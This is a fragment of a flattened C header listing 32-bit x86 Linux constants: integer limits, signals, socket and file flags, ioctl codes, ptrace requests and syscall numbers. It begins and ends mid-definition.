(-1 - (32767)) #define INT32_MIN (-1 - (2147483647)) #define INT64_MIN (-1 - (9223372036854775807)) #define INT_LEAST8_MAX (127) #define INT_LEAST8_MIN (-1 - (127)) #define INT_LEAST16_MAX (32767) #define INT_LEAST16_MIN (-1 - (32767)) #define INT_LEAST32_MAX (2147483647) #define INT_LEAST32_MIN (-1 - (2147483647)) #define INT_LEAST64_MAX (9223372036854775807) #define INT_LEAST64_MIN (-1 - (9223372036854775807)) #define UINT8_MAX 0xff #define UINT16_MAX 0xffff #define UINT32_MAX 0xffffffff #define UINT64_MAX 0xffffffffffffffff #define UINT_LEAST8_MAX 0xff #define UINT_LEAST16_MAX 0xffff #define UINT_LEAST32_MAX 0xffffffff #define UINT_LEAST64_MAX 0xffffffffffffffff #define INTPTR_MIN (-1 - (2147483647)) #define INTPTR_MAX (2147483647) #define UINTPTR_MAX 0xffffffff #define SIZE_MAX 0xffffffff #define PTRDIFF_MIN (-1 - (2147483647)) #define PTRDIFF_MAX (2147483647) #define INTMAX_MIN (-1 - (9223372036854775807)) #define INTMAX_MAX (9223372036854775807) #define UINTMAX_MAX 0xffffffffffffffff #define INT_FAST8_MIN (-1 - (127)) #define INT_FAST8_MAX (127) #define INT_FAST64_MIN (-1 - (9223372036854775807)) #define INT_FAST64_MAX (9223372036854775807) #define UINT_FAST8_MAX 0xff #define UINT_FAST64_MAX 0xffffffffffffffff #define INT_FAST16_MIN (-1 - (2147483647)) #define INT_FAST16_MAX (2147483647) #define UINT_FAST16_MAX 0xffffffff #define INT_FAST32_MIN (-1 - (2147483647)) #define INT_FAST32_MAX (2147483647) #define UINT_FAST32_MAX 0xffffffff #define WINT_MIN 0 #define __FSUID_H 1 #define NSIG 32 #define _NSIG 65 #define SIGHUP 1 #define SIGINT 2 #define SIGQUIT 3 #define SIGILL 4 #define SIGTRAP 5 #define SIGABRT 6 #define SIGIOT 6 #define SIGFPE 8 #define SIGKILL 9 #define SIGSEGV 11 #define SIGPIPE 13 #define SIGALRM 14 #define SIGTERM 15 #define SIGUNUSED 31 #define SIGBUS 7 #define SIGUSR1 10 #define SIGUSR2 12 #define SIGSTKFLT 16 #define SIGCHLD 17 #define SIGCONT 18 #define SIGSTOP 19 #define SIGTSTP 20 #define SIGTTIN 21 #define SIGTTOU 22 #define SIGURG 23 #define SIGXCPU 24 #define SIGXFSZ 25 #define SIGVTALRM 26 #define SIGPROF 27 #define SIGWINCH 28 #define SIGIO 29 #define SIGPWR 30 #define SIGSYS 31 #define SIGCLD 17 #define SIGPOLL 29 #define SIGLOST 30 #define SIGRTMIN 32 #define SIGRTMAX (65-1) #define SA_NOCLDSTOP 0x00000001 #define SA_NOCLDWAIT 0x00000002 #define SA_SIGINFO 0x00000004 #define SA_RESTORER 0x04000000 #define SA_ONSTACK 0x08000000 #define SA_RESTART 0x10000000 #define SA_INTERRUPT 0x20000000 #define SA_NODEFER 0x40000000 #define SA_RESETHAND 0x80000000 #define SA_NOMASK 0x40000000 #define SA_ONESHOT 0x80000000 #define SS_ONSTACK 1 #define SS_DISABLE 2 #define MINSIGSTKSZ 2048 #define SIGSTKSZ 8192 #define SIG_BLOCK 0 #define SIG_UNBLOCK 1 #define SIG_SETMASK 2 #define SI_MAX_SIZE 128 #define SIGEV_SIGNAL 0 #define SIGEV_NONE 1 #define SIGEV_THREAD 2 #define SIGEV_THREAD_ID 4 #define SIGEV_MAX_SIZE 64 #define _SYS_TIME_H 1 #define ITIMER_REAL 0 #define ITIMER_VIRTUAL 1 #define ITIMER_PROF 2 #define X86_FXSR_MAGIC 0x0000 #define FD_SETSIZE 1024 #define R_OK 4 #define W_OK 2 #define X_OK 1 #define F_OK 0 #define SEEK_SET 0 #define SEEK_CUR 1 #define SEEK_END 2 #define STDIN_FILENO 0 #define STDOUT_FILENO 1 #define STDERR_FILENO 2 #define _CS_PATH 1 #define _SC_CLK_TCK 1 #define _SC_ARG_MAX 2 #define _SC_NGROUPS_MAX 3 #define _SC_OPEN_MAX 4 #define _SC_PAGESIZE 5 #define _SC_NPROCESSORS_ONLN 6 #define _SC_NPROCESSORS_CONF 6 #define _SC_PHYS_PAGES 7 #define _SC_GETPW_R_SIZE_MAX 8 #define _SC_GETGR_R_SIZE_MAX 9 #define _PC_PATH_MAX 1 #define _PC_VDISABLE 2 #define L_cuserid 17 #define _POSIX_VERSION 199506 #define F_ULOCK 0 #define F_LOCK 1 #define F_TLOCK 2 #define F_TEST 3 #define _POSIX_MAPPED_FILES 200809 #define STAT64_HAS_BROKEN_ST_INO 1 #define S_IFMT 0xf000 #define S_IFSOCK 0xc000 #define S_IFLNK 0xa000 #define S_IFREG 0x8000 #define S_IFBLK 0x6000 #define S_IFDIR 0x4000 #define S_IFCHR 0x2000 #define S_IFIFO 0x1000 #define S_ISUID 0x800 #define S_ISGID 0x400 #define S_ISVTX 0x200 #define S_IRWXU 0x1c0 #define S_IRUSR 0x100 #define S_IWUSR 0x80 #define S_IXUSR 0x40 #define S_IRWXG 0x38 #define S_IRGRP 0x20 #define S_IWGRP 0x10 #define S_IXGRP 0x8 #define S_IRWXO 0x7 #define S_IROTH 0x4 #define S_IWOTH 0x2 #define S_IXOTH 0x1 #define S_IREAD 0x100 #define S_IWRITE 0x80 #define S_IEXEC 0x40 #define _SYS_UIO 1 #define SOL_SOCKET 1 #define SO_DEBUG 1 #define SO_REUSEADDR 2 #define SO_TYPE 3 #define SO_ERROR 4 #define SO_DONTROUTE 5 #define SO_BROADCAST 6 #define SO_SNDBUF 7 #define SO_RCVBUF 8 #define SO_KEEPALIVE 9 #define SO_OOBINLINE 10 #define SO_NO_CHECK 11 #define SO_PRIORITY 12 #define SO_LINGER 13 #define SO_BSDCOMPAT 14 #define SO_REUSEPORT 15 #define SO_PASSCRED 16 #define SO_PEERCRED 17 #define SO_RCVLOWAT 18 #define SO_SNDLOWAT 19 #define SO_RCVTIMEO 20 #define SO_SNDTIMEO 21 #define SO_SECURITY_AUTHENTICATION 22 #define SO_SECURITY_ENCRYPTION_TRANSPORT 23 #define SO_SECURITY_ENCRYPTION_NETWORK 24 #define SO_BINDTODEVICE 25 #define SO_ATTACH_FILTER 26 #define SO_DETACH_FILTER 27 #define SO_GET_FILTER 26 #define SO_PEERNAME 28 #define SO_TIMESTAMP 29 #define SCM_TIMESTAMP 29 #define SO_ACCEPTCONN 30 #define SO_PEERSEC 31 #define SO_SNDBUFFORCE 32 #define SO_RCVBUFFORCE 33 #define SO_PASSSEC 34 #define SO_TIMESTAMPNS 35 #define SCM_TIMESTAMPNS 35 #define SO_MARK 36 #define SO_TIMESTAMPING 37 #define SCM_TIMESTAMPING 37 #define SO_PROTOCOL 38 #define SO_DOMAIN 39 #define SO_RXQ_OVFL 40 #define SO_WIFI_STATUS 41 #define SCM_WIFI_STATUS 41 #define SO_PEEK_OFF 42 #define SO_NOFCS 43 #define SO_LOCK_FILTER 44 #define SO_SELECT_ERR_QUEUE 45 #define SO_BUSY_POLL 46 #define SO_MAX_PACING_RATE 47 #define SO_BPF_EXTENSIONS 48 #define SO_INCOMING_CPU 49 #define SO_ATTACH_BPF 50 #define SO_DETACH_BPF 27 #define SO_ATTACH_REUSEPORT_CBPF 51 #define SO_ATTACH_REUSEPORT_EBPF 52 #define SO_CNX_ADVICE 53 #define SCM_TIMESTAMPING_OPT_STATS 54 #define SO_MEMINFO 55 #define SO_INCOMING_NAPI_ID 56 #define SO_COOKIE 57 #define SCM_TIMESTAMPING_PKTINFO 58 #define SO_PEERGROUPS 59 #define SO_ZEROCOPY 60 #define SOCK_STREAM 1 #define SOCK_DGRAM 2 #define SOCK_RAW 3 #define SOCK_RDM 4 #define SOCK_SEQPACKET 5 #define SOCK_DCCP 6 #define SOCK_PACKET 10 #define UIO_FASTIOV 8 #define UIO_MAXIOV 1024 #define SCM_RIGHTS 0x01 #define SCM_CREDENTIALS 0x02 #define SCM_CONNECT 0x03 #define AF_UNSPEC 0 #define AF_UNIX 1 #define AF_LOCAL 1 #define AF_INET 2 #define AF_AX25 3 #define AF_IPX 4 #define AF_APPLETALK 5 #define AF_NETROM 6 #define AF_BRIDGE 7 #define AF_ATMPVC 8 #define AF_X25 9 #define AF_INET6 10 #define AF_ROSE 11 #define AF_DECnet 12 #define AF_NETBEUI 13 #define AF_SECURITY 14 #define AF_KEY 15 #define AF_NETLINK 16 #define AF_ROUTE 16 #define AF_PACKET 17 #define AF_ASH 18 #define AF_ECONET 19 #define AF_ATMSVC 20 #define AF_SNA 22 #define AF_IRDA 23 #define AF_PPPOX 24 #define AF_WANPIPE 25 #define AF_LLC 26 #define AF_IB 27 #define AF_MPLS 28 #define AF_CAN 29 #define AF_TIPC 30 #define AF_BLUETOOTH 31 #define AF_IUCV 32 #define AF_RXRPC 33 #define AF_ISDN 34 #define AF_PHONET 35 #define AF_IEEE802154 36 #define AF_CAIF 37 #define AF_ALG 38 #define AF_NFC 39 #define AF_VSOCK 40 #define AF_KCM 41 #define AF_QIPCRTR 42 #define AF_SMC 43 #define AF_MAX 44 #define PF_UNSPEC 0 #define PF_UNIX 1 #define PF_LOCAL 1 #define PF_INET 2 #define PF_AX25 3 #define PF_IPX 4 #define PF_APPLETALK 5 #define PF_NETROM 6 #define PF_BRIDGE 7 #define PF_ATMPVC 8 #define PF_X25 9 #define PF_INET6 10 #define PF_ROSE 11 #define PF_DECnet 12 #define PF_NETBEUI 13 #define PF_SECURITY 14 #define PF_KEY 15 #define PF_NETLINK 16 #define PF_ROUTE 16 #define PF_PACKET 17 #define PF_ASH 18 #define PF_ECONET 19 #define PF_ATMSVC 20 #define PF_SNA 22 #define PF_IRDA 23 #define PF_PPPOX 24 #define PF_WANPIPE 25 #define PF_LLC 26 #define PF_IB 27 #define PF_MPLS 28 #define PF_CAN 29 #define PF_TIPC 30 #define PF_BLUETOOTH 31 #define PF_IUCV 32 #define PF_RXRPC 33 #define PF_ISDN 34 #define PF_PHONET 35 #define PF_IEEE802154 36 #define PF_CAIF 37 #define PF_ALG 38 #define PF_NFC 39 #define PF_VSOCK 40 #define PF_KCM 41 #define PF_QIPCRTR 42 #define PF_SMC 43 #define PF_MAX 44 #define SOMAXCONN 128 #define MSG_OOB 1 #define MSG_PEEK 2 #define MSG_DONTROUTE 4 #define MSG_TRYHARD 4 #define MSG_CTRUNC 8 #define MSG_PROBE 0x10 #define MSG_TRUNC 0x20 #define MSG_DONTWAIT 0x40 #define MSG_EOR 0x80 #define MSG_WAITALL 0x100 #define MSG_FIN 0x200 #define MSG_SYN 0x400 #define MSG_CONFIRM 0x800 #define MSG_RST 0x1000 #define MSG_ERRQUEUE 0x2000 #define MSG_NOSIGNAL 0x4000 #define MSG_MORE 0x8000 #define MSG_WAITFORONE 0x10000 #define MSG_SENDPAGE_NOTLAST 0x20000 #define MSG_BATCH 0x40000 #define MSG_EOF 0x200 #define MSG_ZEROCOPY 0x4000000 #define MSG_FASTOPEN 0x20000000 #define MSG_CMSG_CLOEXEC 0x40000000 #define SOL_IP 0 #define SOL_TCP 6 #define SOL_UDP 17 #define SOL_IPV6 41 #define SOL_ICMPV6 58 #define SOL_SCTP 132 #define SOL_UDPLITE 136 #define SOL_RAW 255 #define SOL_IPX 256 #define SOL_AX25 257 #define SOL_ATALK 258 #define SOL_NETROM 259 #define SOL_ROSE 260 #define SOL_DECNET 261 #define SOL_X25 262 #define SOL_PACKET 263 #define SOL_ATM 264 #define SOL_AAL 265 #define SOL_IRDA 266 #define SOL_NETBEUI 267 #define SOL_LLC 268 #define SOL_DCCP 269 #define SOL_NETLINK 270 #define SOL_TIPC 271 #define SOL_RXRPC 272 #define SOL_PPPOL2TP 273 #define SOL_BLUETOOTH 274 #define SOL_PNPIPE 275 #define SOL_RDS 276 #define SOL_IUCV 277 #define SOL_CAIF 278 #define SOL_ALG 279 #define SOL_NFC 280 #define SOL_KCM 281 #define SOL_TLS 282 #define IPX_TYPE 1 #define SHUT_RD 0 #define SHUT_WR 1 #define SHUT_RDWR 2 #define NI_NOFQDN 1 #define NI_NUMERICHOST 2 #define NI_NAMEREQD 4 #define NI_NUMERICSERV 8 #define NI_DGRAM 16 #define EAI_FAMILY -1 #define EAI_SOCKTYPE -2 #define EAI_BADFLAGS -3 #define EAI_NONAME -4 #define EAI_SERVICE -5 #define EAI_ADDRFAMILY -6 #define EAI_NODATA -7 #define EAI_MEMORY -8 #define EAI_FAIL -9 #define EAI_AGAIN -10 #define EAI_SYSTEM -11 #define AI_NUMERICHOST 1 #define AI_CANONNAME 2 #define AI_PASSIVE 4 #define AI_NUMERICSERV 8 #define AI_ADDRCONFIG 16 #define AI_V4MAPPED 32 #define AI_ALL 64 #define SIOCADDRT 0x890B #define SIOCDELRT 0x890C #define SIOCRTMSG 0x890D #define SIOCGIFNAME 0x8910 #define SIOCSIFLINK 0x8911 #define SIOCGIFCONF 0x8912 #define SIOCGIFFLAGS 0x8913 #define SIOCSIFFLAGS 0x8914 #define SIOCGIFADDR 0x8915 #define SIOCSIFADDR 0x8916 #define SIOCGIFDSTADDR 0x8917 #define SIOCSIFDSTADDR 0x8918 #define SIOCGIFBRDADDR 0x8919 #define SIOCSIFBRDADDR 0x891a #define SIOCGIFNETMASK 0x891b #define SIOCSIFNETMASK 0x891c #define SIOCGIFMETRIC 0x891d #define SIOCSIFMETRIC 0x891e #define SIOCGIFMEM 0x891f #define SIOCSIFMEM 0x8920 #define SIOCGIFMTU 0x8921 #define SIOCSIFMTU 0x8922 #define SIOCSIFNAME 0x8923 #define SIOCSIFHWADDR 0x8924 #define SIOCGIFENCAP 0x8925 #define SIOCSIFENCAP 0x8926 #define SIOCGIFHWADDR 0x8927 #define SIOCGIFSLAVE 0x8929 #define SIOCSIFSLAVE 0x8930 #define SIOCADDMULTI 0x8931 #define SIOCDELMULTI 0x8932 #define SIOCGIFINDEX 0x8933 #define SIOGIFINDEX 0x8933 #define SIOCSIFPFLAGS 0x8934 #define SIOCGIFPFLAGS 0x8935 #define SIOCDIFADDR 0x8936 #define SIOCSIFHWBROADCAST 0x8937 #define SIOCGIFCOUNT 0x8938 #define SIOCGIFBR 0x8940 #define SIOCSIFBR 0x8941 #define SIOCGIFTXQLEN 0x8942 #define SIOCSIFTXQLEN 0x8943 #define SIOCGIFDIVERT 0x8944 #define SIOCSIFDIVERT 0x8945 #define SIOCETHTOOL 0x8946 #define SIOCDARP 0x8953 #define SIOCGARP 0x8954 #define SIOCSARP 0x8955 #define SIOCDRARP 0x8960 #define SIOCGRARP 0x8961 #define SIOCSRARP 0x8962 #define SIOCGIFMAP 0x8970 #define SIOCSIFMAP 0x8971 #define SIOCADDDLCI 0x8980 #define SIOCDELDLCI 0x8981 #define SIOCDEVPRIVATE 0x89F0 #define F_LINUX_SPECIFIC_BASE 1024 #define O_ACCMODE 0x3 #define O_RDONLY 0x0 #define O_WRONLY 0x1 #define O_RDWR 0x2 #define O_CREAT 0x40 #define O_EXCL 0x80 #define O_NOCTTY 0x100 #define O_TRUNC 0x200 #define O_APPEND 0x400 #define O_NONBLOCK 0x800 #define O_NDELAY 0x800 #define O_DSYNC 0x1000 #define FASYNC 0x2000 #define O_DIRECT 0x4000 #define O_LARGEFILE 0x8000 #define O_DIRECTORY 0x10000 #define O_NOFOLLOW 0x20000 #define O_NOATIME 0x40000 #define O_CLOEXEC 0x80000 #define O_SYNC 0x101000 #define O_PATH 0x200000 #define __O_TMPFILE 0x400000 #define F_DUPFD 0 #define F_GETFD 1 #define F_SETFD 2 #define F_GETFL 3 #define F_SETFL 4 #define F_GETLK 5 #define F_SETLK 6 #define F_SETLKW 7 #define F_SETOWN 8 #define F_GETOWN 9 #define F_SETSIG 10 #define F_GETSIG 11 #define F_GETLK64 12 #define F_SETLK64 13 #define F_SETLKW64 14 #define FD_CLOEXEC 1 #define F_RDLCK 0 #define F_WRLCK 1 #define F_UNLCK 2 #define F_EXLCK 4 #define F_SHLCK 8 #define F_INPROGRESS 16 #define LOCK_SH 1 #define LOCK_EX 2 #define LOCK_NB 4 #define LOCK_UN 8 #define LOCK_MAND 32 #define LOCK_READ 64 #define LOCK_WRITE 128 #define LOCK_RW 192 #define O_TMPFILE 0x410000 #define O_ASYNC 0x2000 #define F_SETOWN_EX 15 #define F_GETOWN_EX 16 #define F_GETOWNER_UIDS 17 #define F_OFD_GETLK 36 #define F_OFD_SETLK 37 #define F_OFD_SETLKW 38 #define F_OWNER_TID 0 #define F_OWNER_PID 1 #define F_OWNER_PGRP 2 #define AT_FDCWD -100 #define AT_SYMLINK_NOFOLLOW 0x100 #define AT_REMOVEDIR 0x200 #define AT_SYMLINK_FOLLOW 0x400 #define AT_NO_AUTOMOUNT 0x800 #define AT_EMPTY_PATH 0x1000 #define AT_EACCESS 0x200 #define MREMAP_MAYMOVE 1 #define MREMAP_FIXED 2 #define PROT_READ 0x1 #define PROT_WRITE 0x2 #define PROT_EXEC 0x4 #define PROT_SEM 0x8 #define PROT_NONE 0x0 #define PROT_GROWSDOWN 0x01000000 #define PROT_GROWSUP 0x02000000 #define MAP_SHARED 0x01 #define MAP_PRIVATE 0x02 #define MAP_TYPE 0xf #define MADV_REMOVE 9 #define MADV_DONTFORK 10 #define MADV_DOFORK 11 #define MADV_MERGEABLE 12 #define MADV_UNMERGEABLE 13 #define MADV_HUGEPAGE 14 #define MADV_NOHUGEPAGE 15 #define MADV_DONTDUMP 16 #define MADV_DODUMP 17 #define MADV_HWPOISON 100 #define MADV_SOFT_OFFLINE 101 #define MLOCK_ONFAULT 1 #define MAP_FIXED 0x10 #define MAP_ANONYMOUS 0x20 #define MAP_GROWSDOWN 0x0100 #define MAP_DENYWRITE 0x0800 #define MAP_EXECUTABLE 0x1000 #define MAP_LOCKED 0x2000 #define MAP_NORESERVE 0x4000 #define MAP_POPULATE 0x8000 #define MAP_NONBLOCK 0x10000 #define MAP_STACK 0x20000 #define MAP_HUGETLB 0x40000 #define MS_ASYNC 1 #define MS_INVALIDATE 2 #define MS_SYNC 4 #define MCL_CURRENT 1 #define MCL_FUTURE 2 #define MCL_ONFAULT 4 #define MADV_NORMAL 0x0 #define MADV_RANDOM 0x1 #define MADV_SEQUENTIAL 0x2 #define MADV_WILLNEED 0x3 #define MADV_DONTNEED 0x4 #define MAP_ANON 0x20 #define MAP_FILE 0 #define POSIX_MADV_NORMAL 0x0 #define POSIX_MADV_SEQUENTIAL 0x2 #define POSIX_MADV_RANDOM 0x1 #define POSIX_MADV_WILLNEED 0x3 #define POSIX_MADV_DONTNEED 0x4 #define PTRACE_TRACEME 0 #define PTRACE_PEEKTEXT 1 #define PTRACE_PEEKDATA 2 #define PTRACE_PEEKUSR 3 #define PTRACE_PEEKUSER 3 #define PTRACE_POKETEXT 4 #define PTRACE_POKEDATA 5 #define PTRACE_POKEUSR 6 #define PTRACE_POKEUSER 6 #define PTRACE_CONT 7 #define PTRACE_KILL 8 #define PTRACE_SINGLESTEP 9 #define PTRACE_ATTACH 0x10 #define PTRACE_DETACH 0x11 #define PTRACE_SYSCALL 24 #define PTRACE_GETEVENTMSG 0x4201 #define PTRACE_GETSIGINFO 0x4202 #define PTRACE_SETSIGINFO 0x4203 #define PTRACE_O_TRACESYSGOOD 0x00000001 #define PTRACE_O_TRACEFORK 0x00000002 #define PTRACE_O_TRACEVFORK 0x00000004 #define PTRACE_O_TRACECLONE 0x00000008 #define PTRACE_O_TRACEEXEC 0x00000010 #define PTRACE_O_TRACEVFORKDONE 0x00000020 #define PTRACE_O_TRACEEXIT 0x00000040 #define PTRACE_O_MASK 0x0000007f #define PTRACE_EVENT_FORK 1 #define PTRACE_EVENT_VFORK 2 #define PTRACE_EVENT_CLONE 3 #define PTRACE_EVENT_EXEC 4 #define PTRACE_EVENT_VFORK_DONE 5 #define PTRACE_EVENT_EXIT 6 #define PT_TRACE_ME 0 #define PT_READ_I 1 #define PT_READ_D 2 #define PT_READ_U 3 #define PT_WRITE_I 4 #define PT_WRITE_D 5 #define PT_WRITE_U 6 #define PT_CONTINUE 7 #define PT_KILL 8 #define PT_STEP 9 #define PT_ATTACH 0x10 #define PT_DETACH 0x11 #define EBX 0 #define ECX 1 #define EDX 2 #define ESI 3 #define EDI 4 #define EBP 5 #define EAX 6 #define DS 7 #define ES 8 #define FS 9 #define GS 10 #define ORIG_EAX 11 #define EIP 12 #define CS 13 #define EFL 14 #define UESP 15 #define SS 16 #define FRAME_SIZE 17 #define PTRACE_GETREGS 12 #define PTRACE_SETREGS 13 #define PTRACE_GETFPREGS 14 #define PTRACE_SETFPREGS 15 #define PTRACE_GETFPXREGS 18 #define PTRACE_SETFPXREGS 19 #define PTRACE_SETOPTIONS 21 #define PTRACE_O_TRACESYSGOOD 0x00000001 #define SYS_accept4 364 #define SYS_access 33 #define SYS_acct 51 #define SYS_add_key 286 #define SYS_adjtimex 124 #define SYS_afs_syscall 137 #define SYS_alarm 27 #define SYS_bdflush 134 #define SYS_bind 361 #define SYS_bpf 357 #define SYS_break 17 #define SYS_brk 45 #define SYS_capget 184 #define SYS_capset 185 #define SYS_chdir 12 #define SYS_chmod 15 #define SYS_chown 182 #define SYS_chown32 212 #define SYS_chroot 61 #define SYS_clock_adjtime 343 #define SYS_clock_adjtime64 405 #define SYS_clock_getres (259+7) #define SYS_clock_getres_time64 406 #define SYS_clock_gettime (259+6) #define SYS_clock_gettime64 403 #define SYS_clock_nanosleep (259+8) #define SYS_clock_nanosleep_time64 407 #define SYS_clock_settime (259+5) #define SYS_clock_settime64 404 #define SYS_clone 120 #define SYS_clone3 435 #define SYS_close 6 #define SYS_connect 362 #define SYS_copy_file_range 377 #define SYS_creat 8 #define SYS_create_module 127 #define SYS_delete_module 129 #define SYS_dup 41 #define SYS_dup2 63 #define SYS_dup3 330 #define SYS_epoll_create 254 #define SYS_epoll_create1 329 #define SYS_epoll_ctl 255 #define SYS_epoll_pwait 319 #define SYS_epoll_wait 256 #define SYS_eventfd 323 #define SYS_eventfd2 328 #define SYS_execve 11 #define SYS_execveat 358 #define SYS_exit 1 #define SYS_exit_group 252 #define SYS_faccessat 307 #define SYS_fadvise64 250 #define SYS_fadvise64_64 272 #define SYS_fallocate 324 #define SYS_fanotify_init 338 #define SYS_fanotify_mark 339 #define SYS_fchdir 133 #define SYS_fchmod 94 #define SYS_fchmodat 306 #define SYS_fchown 95 #define SYS_fchown32 207 #define SYS_fchownat 298 #define SYS_fcntl 55 #define SYS_fcntl64 221 #define SYS_fdatasync 148 #define SYS_fgetxattr 231 #define SYS_finit_module 350 #define SYS_flistxattr 234 #define SYS_flock 143 #define SYS_fork 2 #define SYS_fremovexattr 237 #define SYS_fsconfig 431 #define SYS_fsetxattr 228 #define SYS_fsmount 432 #define SYS_fsopen 430 #define SYS_fspick 433 #define SYS_fstat 108 #define SYS_fstat64 197 #define SYS_fstatat64 300 #define SYS_fstatfs 100 #define SYS_fstatfs64 269 #define SYS_fsync 118 #define SYS_ftime 35 #define SYS_ftruncate 93 #define SYS_ftruncate64 194 #define SYS_futex 240 #define SYS_futex_time64 422 #define SYS_futimesat 299 #define SYS_getcpu 318 #define SYS_getcwd 183 #define SYS_getdents 141 #define SYS_getdents64 220 #define SYS_getegid 50 #define SYS_getegid32 202 #define SYS_geteuid 49 #define SYS_geteuid32 201 #define SYS_getgid 47 #define SYS_getgid32 200 #define SYS_getgroups 80 #define SYS_getgroups32 205 #define SYS_getitimer 105 #define SYS_get_kernel_syms 130 #define SYS_get_mempolicy 275 #define SYS_getpeername 368 #define SYS_getpgid 132 #define SYS_getpgrp 65 #define SYS_getpid 20 #define SYS_getpmsg 188 #define SYS_getppid 64 #define SYS_getpriority 96 #define SYS_getrandom 355 #define SYS_getresgid 171 #define SYS_getresgid32 211 #define SYS_getresuid 165 #define SYS_getresuid32 209 #define SYS_getrlimit 76 #define SYS_get_robust_list 312 #define SYS_getrusage 77 #define SYS_getsid 147 #define SYS_getsockname 367 #define SYS_getsockopt 365 #define SYS_get_thread_area 244 #define SYS_gettid 224 #define SYS_gettimeofday 78 #define SYS_getuid 24 #define SYS_getuid32 199 #define SYS_getxattr 229 #define SYS_gtty 32 #define SYS_ia32_arch_prctl 384 #define SYS_ia32_io_pgetevents 385 #define SYS_ia32_rseq 386 #define SYS_ia32_statx 383 #define SYS_idle 112 #define SYS_init_module 128 #define SYS_inotify_add_watch 292 #define SYS_inotify_init 291 #define SYS_inotify_init1 332 #define SYS_inotify_rm_watch 293 #define SYS_io_cancel 249 #define SYS_ioctl 54 #define SYS_io_destroy 246 #define SYS_io_getevents 247 #define SYS_ioperm 101 #define SYS_io_pgetevents_time64 416 #define SYS_iopl 110 #define SYS_ioprio_get 290 #define SYS_ioprio_set 289 #define SYS_io_setup 245 #define SYS_io_submit 248 #define SYS_io_uring_enter 426 #define SYS_io_uring_register 427 #define SYS_io_uring_setup 425 #define SYS_ipc 117 #define SYS_kcmp 349 #define SYS_keyctl 288 #define SYS_kill 37 #define SYS_lchown 16 #define SYS_lchown32 198 #define SYS_lgetxattr 230 #define SYS_link 9 #define SYS_linkat 303 #define SYS_listen 363 #define SYS_listxattr 232 #define SYS_llistxattr 233 #define SYS__llseek 140 #define SYS_lock 53 #define SYS_lookup_dcookie 253 #define SYS_lremovexattr 236 #define SYS_lseek 19 #define SYS_lsetxattr 227 #define SYS_lstat 107 #define SYS_lstat64 196 #define SYS_madvise 219 #define SYS_madvise1 219 #define SYS_mbind 274 #define SYS_membarrier 375 #define SYS_memfd_create 356 #define SYS_migrate_pages 294 #define SYS_mincore 218 #define SYS_mkdir 39 #define SYS_mkdirat 296 #define SYS_mknod 14 #define SYS_mknodat 297 #define SYS_mlock 150 #define SYS_mlock2 376 #define SYS_mlockall 152 #define SYS_mmap 90 #define SYS_mmap2 192 #define SYS_modify_ldt 123 #define SYS_mount 21 #define SYS_move_mount 429 #define SYS_move_pages 317 #define SYS_mprotect 125 #define SYS_mpx 56 #define SYS_mq_getsetattr (277+5) #define SYS_mq_notify (277+4) #define SYS_mq_open 277 #define SYS_mq_timedreceive (277+3) #define SYS_mq_timedreceive_time64 419 #define SYS_mq_timedsend (277+2) #define SYS_mq_timedsend_time64 418 #define SYS_mq_unlink (277+1) #define SYS_mremap 163 #define SYS_msgctl 402 #define SYS_msgget 399 #define SYS_msgrcv 401 #define SYS_msgsnd 400 #define SYS_msync 144 #define SYS_munlock 151 #define SYS_munlockall 153 #define SYS_munmap 91 #define SYS_name_to_handle_at 341 #define SYS_nanosleep 162 #define SYS__newselect 142 #define SYS_nfsservctl 169 #define SYS_nice 34 #define SYS_oldfstat 28 #define SYS_oldlstat 84 #define SYS_oldolduname 59 #define SYS_oldstat 18 #define SYS_olduname 109 #define SYS_open 5 #define SYS_openat 295 #define SYS_openat2 437 #define SYS_open_by_handle_at 342 #define SYS_open_tree 428 #define SYS_pause 29 #define SYS_perf_event_open 336 #define SYS_personality 136 #define SYS_pidfd_getfd 438 #define SYS_pidfd_open 434 #define SYS_pidfd_send_signal 424 #define SYS_pipe 42 #define SYS_pipe2 331 #define SYS_pivot_root 217 #define SYS_pkey_alloc 381 #define SYS_pkey_free 382 #define SYS_pkey_mprotect 380 #define SYS_poll 168 #define SYS_ppoll 309 #define SYS_ppoll_time64 414 #define SYS_prctl 172 #define SYS_pread 180 #define SYS_preadv 333 #define SYS_preadv2 378 #define SYS_prlimit64 340 #define SYS_process_vm_readv 347 #define SYS_process_vm_writev 348 #define SYS_prof 44 #define SYS_profil 98 #define SYS_pselect6 308 #define SYS_pselect6_time64 413 #define SYS_ptrace 26 #define SYS_putpmsg 189 #define SYS_pwrite 181 #define SYS_pwritev 334 #define SYS_pwritev2 379 #define SYS_query_module 167 #define SYS_quotactl 131 #define SYS_read 3 #define SYS_readahead 225 #define SYS_readdir 89 #define SYS_readlink 85 #define SYS_readlinkat 305 #define SYS_readv 145 #define SYS_reboot 88 #define SYS_recvfrom 371 #define SYS_recvmmsg 337 #define SYS_recvmmsg_time64 417 #define SYS_recvmsg 372 #define SYS_remap_file_pages 257 #define SYS_removexattr 235 #define SYS_rename 38 #define SYS_renameat 302 #define SYS_renameat2 353 #define SYS_request_key 287 #define SYS_rmdir 40 #define SYS_rt_sigaction 174 #define SYS_rt_sigpending 176 #define SYS_rt_sigprocmask 175 #define SYS_rt_sigqueueinfo 178 #define SYS_rt_sigreturn 173 #define SYS_rt_sigsuspend 179 #define SYS_rt_sigtimedwait 177 #define SYS_rt_sigtimedwait_time64 421 #define SYS_rt_tgsigqueueinfo 335 #define SYS_sched_getaffinity 242 #define SYS_sched_getattr 352 #define SYS_sched_getparam 155 #define SYS_sched_get_priority_max 159 #define SYS_sched_get_priority_min 160 #define SYS_sched_getscheduler 157 #define SYS_sched_rr_get_interval 161 #define SYS_sched_rr_get_interval_time64 423 #define SYS_sched_setaffinity 241 #define SYS_sched_setattr 351 #define SYS_sched_setparam 154 #define SYS_sched_setscheduler 156 #define SYS_sched_yield 158 #define SYS_seccomp 354 #define SYS_select 82 #define SYS_semctl 394 #define SYS_semget 393 #define SYS_semtimedop_time64 420 #define SYS_sendfile 187 #define SYS_sendfile64 239 #define SYS_sendmmsg 345 #define SYS_sendmsg 370 #define SYS_sendto 369 #define SYS_setdomainname 121 #define SYS_setfsgid 139 #define SYS_setfsgid32 216 #define SYS_setfsuid 138 #define SYS_setfsuid32 215 #define SYS_setgid 46 #define SYS_setgid32 214 #define SYS_setgroups 81 #define SYS_setgroups32 206 #define SYS_sethostname 74 #define SYS_setitimer 104 #define SYS_set_mempolicy 276 #define SYS_setns 346 #define SYS_setpgid 57 #define SYS_setpriority 97 #define SYS_setregid 71 #define SYS_setregid32 204 #define SYS_setresgid 170 #define SYS_setresgid32 210 #define SYS_setresuid 164 #define SYS_setresuid32 208 #define SYS_setreuid 70 #define 